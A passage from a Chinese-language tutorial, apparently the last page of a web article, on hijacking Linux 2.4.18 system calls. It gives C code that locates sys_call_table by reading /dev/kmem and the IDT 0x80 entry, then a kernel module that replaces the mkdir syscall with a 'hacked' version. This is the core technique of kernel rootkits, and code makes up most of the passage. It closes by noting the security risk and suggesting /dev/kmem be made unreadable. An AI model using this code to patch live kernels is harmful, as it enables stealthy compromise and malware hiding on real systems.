set_fs(get_ds());
/* 打开kmem */
kmem = open (filename,O_RDONLY,0640);
if (kmem<0)
{
printk("open error!");
}
set_fs(old_fs_value);
/* 从IDT读出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 寻找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
close(kmem);
return sct;
}
好了,但是上面的函数没有做足够的错误检查。
四.劫持系统调用
在得到了sys_call_table的地址后,我们就可以很轻易的劫持系统调用了。
我们把最开始的那个例子修改一下,让它运行在2.4.18的内核。
系统调用的劫持过程主要代码如下:
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
orig_mkdir=sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_mkdir]=orig_mkdir;
}
五.综述
虽然内核2.4.18以后不再导出sys_call_table,但是我们仍然可以通过读/dev/kmem设备文件得到它的地址,来实现系统调用的劫持。要解决这个问题,最好是使/dev/kmem不可读,或者干脆不使用这个设备文件。否则,总会给安全带来隐患。
参考资料:
Phrack58-0x07 Linux on-the-fly kernel patching without LKM
(nearly) Complete Linux Loadable Kernel Modules -the definitive guide for hackers, virus coders and system administrators- written by pragmatic / THC, version 1.0 released 03/1999
注:本文的写成主要是参考上面两篇资料,另外,感谢红盟论坛的朋友的帮助。故本文同时也提交到红盟论坛供审批。
上一页 [1] [2] [3] 没有相关教程
|